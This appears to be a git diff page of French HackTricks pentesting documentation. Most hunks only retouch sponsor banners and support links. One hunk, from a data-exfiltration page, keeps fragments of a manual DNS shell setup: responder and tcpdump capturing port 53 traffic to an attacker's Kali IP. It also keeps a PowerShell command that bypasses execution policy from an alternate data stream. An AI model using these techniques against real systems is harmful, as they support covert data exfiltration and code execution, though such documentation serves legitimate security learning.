* [ ] [**Injection de formule**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
|
@ -143,7 +143,7 @@ Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateu
|
|||
|
||||
### **Autres vulnérabilités utiles**
|
||||
|
||||
Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
|
||||
Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités.
|
||||
|
||||
* [ ] [**Prise de contrôle de domaine/sous-domaine**](domain-subdomain-takeover.md)
|
||||
* [ ] [**IDOR**](idor.md)
|
||||
|
@ -153,7 +153,7 @@ Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -169,7 +169,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -350,9 +350,9 @@ Vous pouvez écouter sur [http://+:80/Temporary\_Listen\_Addresses/](http://+/Te
|
|||
```bash
|
||||
netsh http show urlacl
|
||||
```
|
||||
### Manual DNS shell
|
||||
### Shell DNS manuelle
|
||||
|
||||
**Attacker** (Kali) doit utiliser l'une de ces 2 options :
|
||||
**Attaquant** (Kali) doit utiliser l'une de ces 2 options :
|
||||
```bash
|
||||
sudo responder -I <iface> #Active
|
||||
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
|
||||
|
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -55,22 +55,22 @@ Pour plus de détails, consultez [https://blog.ropnop.com/using-credentials-to-o
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue